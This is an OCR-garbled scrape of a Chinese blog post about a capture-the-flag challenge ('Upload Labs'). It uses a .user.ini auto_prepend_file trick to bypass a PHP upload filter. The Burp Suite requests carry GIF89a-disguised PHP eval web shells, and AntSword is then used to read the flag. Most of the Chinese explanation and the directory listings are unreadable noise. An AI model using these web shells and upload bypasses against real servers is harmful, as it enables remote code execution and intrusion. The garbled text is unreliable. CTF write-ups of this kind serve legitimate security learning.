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& Load URL
% split URL +
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Upload Labs

AR | R | AR,
st



https://blog.csdn.net/hxhxhxhxx
https://blog.csdn.net/hxhxhxhxx/category_10243413.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/hxhxhxhxx/article/details/107165508
https://blog.csdn.net/hxhxhxhxx/category_10243413.html

— O
Upload Labs > httpi//164a1204-753e-46eb-- X +
() view-source:http://164a1204-753e-46eb-983¢-ce4056c6abal.node3 | e Qax B ¥ A& 9 & & EKE @
INT ~| = & SQL- XSS+ Encryption Encoding= Other-
& Load URL
% split URL
J Execute

[] Enable Post data [ | Enable Referrer

<!DOCTYPE html>
<html lang="en”>

<head>
{meta charset="UTF-8">
<{meta name="viewport” content="width=device-width, initial-scale=1.0">
{meta http—equiv="X-UA-Compatible” content="1ie=edge”>
{title>Upload Labs{/title>
</head>

<body>
<h2>Upload Labs</h2>
{form action="index. php” method="post” enctype="multipart/form-data”>
{label for="file”> W {:44: </label>
{input type="file” name="fileUpload” id="file”><br>
{input type="submit” name="upload” value="f%%7">
{/form>
</body>

</html>
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Your dir uploads/adeee0c170ad4ffb110df0cde294aecd
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" }

.user.iniSZhr Bt R —ANA LAl A B & X Hiphp.ini, BRATATCAE 2 XK T PHP_INIL SYSTEMUAAMOIE, 7E$ATphpfRig 2
B, REGSX).userinifefi—ANHUT, ARG A PAT HALKIphp S

BATIXIAF H user,inifs I iTauto_prepend_file® %, auto_prepend_fileR R 7E php N #k 5 — A php ARG BT In R Mphp e,
BMARMER T ajpg BEEISCH, BI—AiERS.

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[Dashboard [Target [ Proxy ] Intruder IRepeaterI Sequencer [ Decoder [ Comparer ] Extender [Project options [User options

1-|2 - BN
Go Cancel | < |v| > |v Target: http://[164a1204-753e-46eb-983c-ced056c6abal.node3.buuoj.cn / @
Request Response

Raw | Params | Headers | Hex JRawIHeaders Hex |HTML [Renderl
http://164a1204-753e-46eb-983c-ce4056c6abal node3.buuoj.cn/i  * <meta name="viewport" content="width=device-width,

T

ndex.php initial-scale=1.0">
Connection: close <meta http-equiv="X-UA-Compatible" content="{e=edge">
Upgrade-Insecure-Requests: 1 <title>Upload Labs</title>

</head>
77777777777777777777777777777 103232208317727
Content-Disposition: form-data; name="fileUpload"; filename="a.jpg" <body=>
Content-Type: image/jpeg <h2>Upload Labs</h2>

<form action="index.php" method="post"

GIF89a enctype="multipart/form-data">
<?php <label for="file">3ft% : </label>
@eval($_POST[hacker’]); <input type="file" name="fileUpload" id="file"><br>
75 <input type="submit" name="upload" value="4% % ">
————————————————————————————— 103232208317727 </form>
Content-Disposition: form-data; name="upload" </body>
STE A </html>
————————————————————————————— 103232208317727--

&lt:? in contents!
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Done 716 bytes | 78 millis
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% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
[Dashboard [Target [ Proxy ] Intruder IRepeaterI Sequencer [ Decoder [ Comparer ] Extender [Project options [User options
1«(2 S8
Go Cancel | < |v| > |v Target: http://[164a1204-753e-46eb-983c-ced056c6abal.node3.buuoj.cn / @
Request Response
Raw | Params | Headers | Hex JRawIHeaders Hex |HTML [Render l
Content-Length: 354 H <input type="file" name="fileUpload" id="file"><br> B
Referer: <input type="submit" name="upload" value="4 % ">
http://164a1204-753e-46eb-983c-ce4056¢6aba | .node3.buuoj.cn/i </form>
ndex.php </body>
Connection: close
Upgrade-Insecure-Requests: 1 </html>
————————————————————————————— 103232208317727 Your dir uploads/adeeeOc170ad4fth 1 10df0cde294aecd <br>Your
Content-Disposition: form-data; name="fileUpload"; filename="a.jpg" - files : <br>array(4) {
Content-Type: image/jpeg [0]=>
string(1) "."
GIF89a [1]=> 0
<script language="php">eval($_POST[a’]);</script> string(2) "."
oo 103232208317727 [2]=>
Content-Disposition: form-data; name="upload" string(5) "a.jpg"
3=
A8 4 string(9) "index.php”
————————————————————————————— 103232208317727-- }
@ < T = Type a search term 0 matcheg @ B B B Type a search term 0 matche;
Done 891 bytes | 59 millis
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) baseb4 .
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2019-01-22 15:00:00
2019-08-19 09:11:07
2020-07-06 11:28:59
2019-08-19 09:02:29
2020-07-06 11:29:03
2019-08-19 08:47:27
2019-01-22 15:00:00
2020-05-05 12:23:44
2020-07-06 11:42:13
2019-08-19 09:11:07
2019-08-19 09:11:06
2020-07-06 11:28:59
2020-07-06 11:29:02
2019-08-20 06:27:52
1970-01-01 00:00:00
1970-01-01 00:00:00
2019-08-19 08:40:23
2020-07-06 11:29:01

3
~
< R
7 Bt

6b 0755 -
20b 0755
0b 0555
41b 0700
100 b 0755
18b 0755
6b 0755
0b 0555
6b 1777
55b 0755
39b 0755
0b 0755
0b 0700
65 b 0700

NaN b 0
NaN b 0

1.16 Kb 0755

43b 0664 v

A

v ShERS]

AntSword i wEO B
4 = [0111.73.46.229

M #&iE: /flag

[flag
1 [flag{6aefecif-75db-afdc-b8c8-835fb297551a)
2

Z RIE

EER v WARERITH » BREF




Al LATIAT
AEARVARES




	.user.ini上传详解附CTF例题
	.user.ini上传详解附CTF例题

	题目
	解法


